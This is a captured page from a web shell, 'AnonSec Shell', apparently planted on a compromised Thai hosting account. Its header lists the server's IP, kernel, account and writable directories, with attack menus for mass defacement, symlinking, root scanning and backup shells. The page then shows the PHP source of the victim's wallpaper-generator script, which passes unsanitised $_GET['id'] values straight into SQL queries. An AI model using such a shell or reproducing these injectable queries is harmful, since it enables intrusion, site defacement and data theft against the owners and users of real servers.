AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/wallpaper/backend/wallpaper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/wallpaper/backend/wallpaper/show.php
<?php
include('../include/class.php');
date_default_timezone_set("Asia/Bangkok");

$date = date("YmdHis");
 /*$list = array('table'=>'wal_order','where'=>'id = "'.$_GET['id'].'"');
$view = $view_db->view($list);
$row = $view_db->q($view);*/

$row['date'] = $_GET['name'];
$list = array('table'=>'wallpapers','where'=>'id = "'.$_GET['id'].'"');
$view = $view_db->view($list);
$row1 = $view_db->q($view);

// (A) OPEN IMAGE
//$img = imagecreatefromjpeg("../../redbag/wallpaper/".$row1['image']);

if($row1['date']==1){
  if($row['date']=='sun'){$bg = "../../../redbag/wallpaper/".$row1['bg_sun'];}
  if($row['date']=='mon'){$bg = "../../../redbag/wallpaper/".$row1['bg_mon'];}
  if($row['date']=='tue'){$bg = "../../../redbag/wallpaper/".$row1['bg_tue'];}
  if($row['date']=='wed'){$bg = "../../../redbag/wallpaper/".$row1['bg_wed'];}
  if($row['date']=='thu'){$bg = "../../../redbag/wallpaper/".$row1['bg_thu'];}
  if($row['date']=='fri'){$bg = "../../../redbag/wallpaper/".$row1['bg_fri'];}
  if($row['date']=='sat'){$bg = "../../../redbag/wallpaper/".$row1['bg_sat'];}
}else{
  $bg = "../../../redbag/wallpaper/".$row1['image'];
}

$src= "../../../redbag/wallpaper/".$row1['image'];
//echo $bg;
function image_type($src){
if(!list($w, $h) = getimagesize($src)) return "Unsupported picture type!";

  $type = strtolower(substr(strrchr($src,"."),1));
  if($type == 'jpeg') $type = 'jpg';
  switch($type){
    case 'bmp': $img = imagecreatefromwbmp($src); break;
    case 'gif': $img = imagecreatefromgif($src); break;
    case 'jpg': $img = imagecreatefromjpeg($src); break;
    case 'png': $img = imagecreatefrompng($src); break;
    default : return "Unsupported picture type!";
  }
  return $img;
}

$img = image_type($bg);
$text_detail = explode(',',$row1['detail_text']);
$row['namefull'] ='Kainumber';

if($row['namefull']<>''){
  if (!preg_match('/[^A-Za-z]/', str_replace(" ", "",$row['namefull']))) // '/[^a-z\d]/i' should also work.
  {
    $fontFile = realpath('../../../fonts/'.$text_detail[3]); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[4];
  }elseif(!preg_match('/[^0-9]/', str_replace(" ", "",$row['namefull']))){
    $fontFile = realpath('../../../fonts/ALGER_1.TTF'); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[4];
  }else{
    $fontFile = realpath('../../../fonts/'.$text_detail[0]); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[1];
  }
}else{
  $tt = 'Kainumber';
  if (!preg_match('/[^A-Za-z]/', str_replace(" ", "",$tt))) // '/[^a-z\d]/i' should also work.
  {
    $fontFile = realpath('../../../fonts/'.$text_detail[3]); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[4];
  }elseif(!preg_match('/[^0-9]/', str_replace(" ", "",$tt))){
    $fontFile = realpath('../../../fonts/ALGER_1.TTF'); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[4];
  }else{
    $fontFile = realpath('../../../fonts/'.$text_detail[0]); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[1];
  }
}
//echo $fontFile;
$color = explode(',',$row1['font_color']);
$fontColor = imagecolorallocate($img, $color[0], $color[1], $color[2]);
$angle = 0;

$iWidth = imagesx($img);
$iHeight = imagesy($img);
$bottomY = $row1['position2'];

$png_bg = image_type($src);
$jpeg_bg = image_type($bg);

list($newwidth, $newheight) = getimagesize($bg);

$img = imagecreatetruecolor($newwidth, $newheight);
imagecopyresampled($img, $jpeg_bg, 0, 0, 0, 0, $newwidth, $newheight, $newwidth, $newheight);
imagecopyresampled($img, $png_bg, 0, 0, 0, 0, $newwidth, $newheight, $newwidth, $newheight);



$row['zodiac_id'] = 3;
if($row['zodiac_id']<>0){
  $list2 = array('table'=>'wal_zodiac','where'=>'id = "'.$row['zodiac_id'].'"');
  $view2 = $view_db->view($list2);
  $row2 = $view_db->q($view2);
  $png = image_type('../../../redbag/wal_zodiac/'.$row2['image']);
  list($width, $height) = getimagesize('../../../redbag/wal_zodiac/'.$row2['image']);
  imagecopyresampled($img, $png, $row1['positionz_1'], $row1['positionz_2'], 0, 0, $width, $height, $width, $height); //l,t,r,b
}
$row['element_id'] = 1;
if($row['element_id']<>0){
  $list3 = array('table'=>'wal_element','where'=>'id = "'.$row['element_id'].'"');
  $view3 = $view_db->view($list3);
  $row3 = $view_db->q($view3);
  $png2 = image_type('../../../redbag/wal_element/'.$row3['image']);
  list($width2, $height2) = getimagesize('../../../redbag/wal_element/'.$row3['image']);
  imagecopyresampled($img, $png2, $row1['positione_1'], $row1['positione_2'], 0, 0, $width2, $height2, $width2, $height2);
}

if($row['namefull'] !=''){
  if(@$row['namefull']){
    $txt = $row['namefull'];
    $txt = mb_convert_encoding($txt, 'HTML-ENTITIES', 'UTF-8');
    $txt = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt);

    $tSize = imagettfbbox($fontSize, $angle, $fontFile, $txt);
    $tWidth = max([$tSize[2], $tSize[4]]) - min([$tSize[0], $tSize[6]]);
    $tHeight = max([$tSize[5], $tSize[7]]) - min([$tSize[1], $tSize[3]]);

    if($row1['position']=='left'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
      $positionX = 0;
    }
    if($row1['position']=='center'){
      $positionX = CEIL(($iWidth - $tWidth) / 2);
      $positionX = $positionX<0 ? 0 : $positionX;
    }

    if($row1['position']=='right'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
    }

    imagettftext($img, $fontSize, $angle, $positionX, $bottomY, $fontColor, $fontFile, $txt);
  }
  @$row['detail'] = '';
  if(@$row['detail'] !=''){
    $txt2 = $row['detail'];
    $txt2 = mb_convert_encoding($txt2, 'HTML-ENTITIES', 'UTF-8');
    $txt2 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt2);

    $tSize = imagettfbbox($fontSize, $angle, $fontFile, $txt2);
    $tWidth = max([$tSize[2], $tSize[4]]) - min([$tSize[0], $tSize[6]]);
    $tHeight = max([$tSize[5], $tSize[7]]) - min([$tSize[1], $tSize[3]]);

    if($row1['position']=='left'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
      $positionX = 0;
    }
    if($row1['position']=='center'){
      $positionX = CEIL(($iWidth - $tWidth) / 2);
      $positionX = $positionX<0 ? 0 : $positionX;
    }

    if($row1['position']=='right'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
    }
    $bottomY = $bottomY +150;
    imagettftext($img, $fontSize, $angle, $positionX, $bottomY, $fontColor, $fontFile, $txt2);
  }
  @$row['phonenumber'] = '';
  if(@$row['phonenumber']){
  $txt3 = $row['phonenumber'];
  $txt3 = mb_convert_encoding($txt3, 'HTML-ENTITIES', 'UTF-8');
  $txt3 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt3);

  $tSize = imagettfbbox($fontSize, $angle, $fontFile, $txt3);
  $tWidth = max([$tSize[2], $tSize[4]]) - min([$tSize[0], $tSize[6]]);
  $tHeight = max([$tSize[5], $tSize[7]]) - min([$tSize[1], $tSize[3]]);

  if($row1['position']=='left'){
    $positionX = CEIL(($iWidth - $tWidth) / 1);
    $positionX = $positionX<0 ? 0 : $positionX;
    $positionX = 0;
  }
  if($row1['position']=='center'){
    $positionX = CEIL(($iWidth - $tWidth) / 2);
    $positionX = $positionX<0 ? 0 : $positionX;
  }

  if($row1['position']=='right'){
    $positionX = CEIL(($iWidth - $tWidth) / 1);
    $positionX = $positionX<0 ? 0 : $positionX;
  }
  $bottomY = $bottomY +150;
  imagettftext($img, $fontSize, $angle, $positionX, $bottomY, $fontColor, $fontFile, $txt3);
}
}else{
  $txt = 'Kainumber';
  $txt = mb_convert_encoding($txt, 'HTML-ENTITIES', 'UTF-8');
  $txt = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt);

  $tSize = imagettfbbox($fontSize, $angle, $fontFile, $txt);
  $tWidth = max([$tSize[2], $tSize[4]]) - min([$tSize[0], $tSize[6]]);
  $tHeight = max([$tSize[5], $tSize[7]]) - min([$tSize[1], $tSize[3]]);

  if($row1['position']=='left'){
    $positionX = CEIL(($iWidth - $tWidth) / 1);
    $positionX = $positionX<0 ? 0 : $positionX;
    $positionX = 0;
  }
  if($row1['position']=='center'){
    $positionX = CEIL(($iWidth - $tWidth) / 2);
    $positionX = $positionX<0 ? 0 : $positionX;
  }

  if($row1['position']=='right'){
    $positionX = CEIL(($iWidth - $tWidth) / 1);
    $positionX = $positionX<0 ? 0 : $positionX;
  }

  imagettftext($img, $fontSize, $angle, $positionX, $bottomY, $fontColor, $fontFile, $txt);
}
/*
*/
$random1 = explode(",",$row1['detail_random1']);
if($random1[5]==1){
  $fontFile_random1 = realpath('../../../fonts/'.$random1[2]); // CHANGE TO YOUR OWN!
  $fontSize_random1 = $random1[3];
  $color_random1 = explode(',',$row1['font_color_random1']);
  $fontColor_random1 = imagecolorallocate($img, $color_random1[0], $color_random1[1], $color_random1[2]);
  $angle_random1 = 0;


  $txt_random1 = $random1[4];
  $txt_random1 = mb_convert_encoding($txt_random1, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random1 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random1);

  $tSize_random1 = imagettfbbox($fontSize_random1, $angle_random1, $fontFile_random1, $txt_random1);
  $tWidth_random1 = max([$tSize_random1[2], $tSize_random1[4]]) - min([$tSize_random1[0], $tSize_random1[6]]);
  $tHeight_random1 = max([$tWidth_random1[5], $tWidth_random1[7]]) - min([$tWidth_random1[1], $tWidth_random1[3]]);

  $positionX_random1 =$random1[0];
  $positionY_random1 =$random1[1];

  imagettftext($img, $fontSize_random1, $angle_random1, $positionX_random1, $positionY_random1, $fontColor_random1, $fontFile_random1, $txt_random1);
}
$random2 = explode(",",$row1['detail_random2']);
if($random2[5]==1){
  $fontFile_random2 = realpath('../../../fonts/'.$random2[2]); // CHANGE TO YOUR OWN!
  $fontSize_random2 = $random2[3];
  $color_random2 = explode(',',$row1['font_color_random2']);
  $fontColor_random2 = imagecolorallocate($img, $color_random2[0], $color_random2[1], $color_random2[2]);
  $angle_random2 = 0;


  $txt_random2 = $random2[4];
  $txt_random2 = mb_convert_encoding($txt_random2, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random2 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random2);

  $tSize_random2 = imagettfbbox($fontSize_random2, $angle_random2, $fontFile_random2, $txt_random2);
  $tWidth_random2 = max([$tSize_random2[2], $tSize_random2[4]]) - min([$tSize_random2[0], $tSize_random2[6]]);
  $tHeight_random2 = max([$tWidth_random2[5], $tWidth_random2[7]]) - min([$tWidth_random2[1], $tWidth_random2[3]]);

  $positionX_random2 =$random2[0];
  $positionY_random2 =$random2[1];

  imagettftext($img, $fontSize_random2, $angle_random2, $positionX_random2, $positionY_random2, $fontColor_random2, $fontFile_random2, $txt_random2);
}
$random3 = explode(",",$row1['detail_random3']);
if($random3[5]==1){
  $fontFile_random3 = realpath('../../../fonts/'.$random3[2]); // CHANGE TO YOUR OWN!
  $fontSize_random3 = $random3[3];
  $color_random3 = explode(',',$row1['font_color_random3']);
  $fontColor_random3 = imagecolorallocate($img, $color_random3[0], $color_random3[1], $color_random3[2]);
  $angle_random3 = 0;


  $txt_random3 = $random3[4];
  $txt_random3 = mb_convert_encoding($txt_random3, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random3 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random3);

  $tSize_random3 = imagettfbbox($fontSize_random3, $angle_random3, $fontFile_random3, $txt_random3);
  $tWidth_random3 = max([$tSize_random3[2], $tSize_random3[4]]) - min([$tSize_random3[0], $tSize_random3[6]]);
  $tHeight_random3 = max([$tWidth_random3[5], $tWidth_random3[7]]) - min([$tWidth_random3[1], $tWidth_random3[3]]);

  $positionX_random3 =$random3[0];
  $positionY_random3 =$random3[1];

  imagettftext($img, $fontSize_random3, $angle_random3, $positionX_random3, $positionY_random3, $fontColor_random3, $fontFile_random3, $txt_random3);
}
$random4 = explode(",",$row1['detail_random4']);
if($random4[5]==1){
  $fontFile_random4 = realpath('../../../fonts/'.$random4[2]); // CHANGE TO YOUR OWN!
  $fontSize_random4 = $random4[3];
  $color_random4 = explode(',',$row1['font_color_random4']);
  $fontColor_random4 = imagecolorallocate($img, $color_random4[0], $color_random4[1], $color_random4[2]);
  $angle_random4 = 0;


  $txt_random4 = $random4[4];
  $txt_random4 = mb_convert_encoding($txt_random4, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random4 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random4);

  $tSize_random4 = imagettfbbox($fontSize_random4, $angle_random4, $fontFile_random4, $txt_random4);
  $tWidth_random4 = max([$tSize_random4[2], $tSize_random4[4]]) - min([$tSize_random4[0], $tSize_random4[6]]);
  $tHeight_random4 = max([$tWidth_random4[5], $tWidth_random4[7]]) - min([$tWidth_random4[1], $tWidth_random4[3]]);

  $positionX_random4 =$random4[0];
  $positionY_random4 =$random4[1];

  imagettftext($img, $fontSize_random4, $angle_random4, $positionX_random4, $positionY_random4, $fontColor_random4, $fontFile_random4, $txt_random4);
}
$random5 = explode(",",$row1['detail_random5']);
if($random5[5]==1){
  $fontFile_random5 = realpath('../../../fonts/'.$random5[2]); // CHANGE TO YOUR OWN!
  $fontSize_random5 = $random5[3];
  $color_random5 = explode(',',$row1['font_color_random5']);
  $fontColor_random5 = imagecolorallocate($img, $color_random5[0], $color_random5[1], $color_random5[2]);
  $angle_random5 = 0;

  $txt_random5 = $random5[4];
  $txt_random5 = mb_convert_encoding($txt_random5, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random5 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random5);

  $tSize_random5 = imagettfbbox($fontSize_random5, $angle_random5, $fontFile_random5, $txt_random5);
  $tWidth_random5 = max([$tSize_random5[2], $tSize_random5[4]]) - min([$tSize_random5[0], $tSize_random5[6]]);
  $tHeight_random5 = max([$tWidth_random5[5], $tWidth_random5[7]]) - min([$tWidth_random5[1], $tWidth_random5[3]]);

  $positionX_random5 =$random5[0];
  $positionY_random5 =$random5[1];

  imagettftext($img, $fontSize_random5, $angle_random5, $positionX_random5, $positionY_random5, $fontColor_random5, $fontFile_random5, $txt_random5);
}


$row['category_sup_id'] = 3;
//$row1['detail_random'] = 'center,100,ALGER_1.TTF,80,,1,vertical,140';
if($row['category_sup_id']<>0){
  $random = explode(",",$row1['detail_random']);
  $list = array('table'=>'wal_log_category_supplement','where'=>'id_c = "'.$row['category_sup_id'].'"','order'=>' ORDER BY rand() LIMIT 1');
  $view = $view_db->view($list);
  $rowr = $view_db->q($view);

  $fontFile_random = realpath('../../../fonts/'.$random[2]); // CHANGE TO YOUR OWN!
  $fontSize_random = $random[3];
  $color_random = explode(',',$row1['font_color_random']);
  $fontColor_random = imagecolorallocate($img, $color_random[0], $color_random[1], $color_random[2]);
  $angle_random = 0;

  $style_text = $random[6];

  $txt_random = $rowr['number'];
//  $txt_random = 521635;
  $txt_random = mb_convert_encoding($txt_random, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random);

  if($style_text == 'vertical'){
    $d=0;

    for ($i=0; $i < strlen($txt_random); $i++) {
      $tx = substr($txt_random,$i,1);

      $tSize_random = imagettfbbox($fontSize_random, $angle_random, $fontFile_random, $txt_random);
      $tWidth_random = max([$tSize_random[2], $tSize_random[4]]) - min([$tSize_random[0], $tSize_random[6]]);
      $tHeight_random = max([$tWidth_random[5], $tWidth_random[7]]) - min([$tWidth_random[1], $tWidth_random[3]]);

      if($random[0]=='left'){
        $positionX_random = CEIL(($iWidth - $tWidth_random) / 1);
        $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
        $positionX_random = 0;
      }
      elseif($random[0]=='center'){
        $positionX_random = CEIL(($iWidth - $tWidth_random) / 2);
        $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
      }

      elseif($random[0]=='right'){
        $positionX_random = CEIL(($iWidth - $tWidth_random) / 1);
        $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
      }else{
        $positionX_random =$random[0];
      }

      $positionY_random =$random[1] + $d;


      imagettftext($img, $fontSize_random, $angle_random, $positionX_random, $positionY_random, $fontColor_random, $fontFile_random, $tx);
      $d = $d+$random[7];
    }
  }elseif($style_text == 'horizontal'){
    $tSize_random = imagettfbbox($fontSize_random, $angle_random, $fontFile_random, $txt_random);
    $tWidth_random = max([$tSize_random[2], $tSize_random[4]]) - min([$tSize_random[0], $tSize_random[6]]);
    $tHeight_random = max([$tWidth_random[5], $tWidth_random[7]]) - min([$tWidth_random[1], $tWidth_random[3]]);

    if($random[0]=='left'){
      $positionX_random = CEIL(($iWidth - $tWidth_random) / 1);
      $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
      $positionX_random = 0;
    }
    elseif($random[0]=='center'){
      $positionX_random = CEIL(($iWidth - $tWidth_random) / 2);
      $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
    }

    elseif($random[0]=='right'){
      $positionX_random = CEIL(($iWidth - $tWidth_random) / 1);
      $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
    }else{
      $positionX_random =$random[0];
    }


    $positionY_random =$random[1];

    imagettftext($img, $fontSize_random, $angle_random, $positionX_random, $positionY_random, $fontColor_random, $fontFile_random, $txt_random);

  }






}


//exit();
// (E) OUTPUT IMAGE
$namefile='wallmoo-'.$date;
header("Content-type: image/jpeg");
//header('Content-disposition: attachment; filename='.$namefile.'.jpg');
//readfile(imagejpeg($img));



imagejpeg($img);
imagedestroy($img);

?>

Anon7 - 2022
AnonSec Team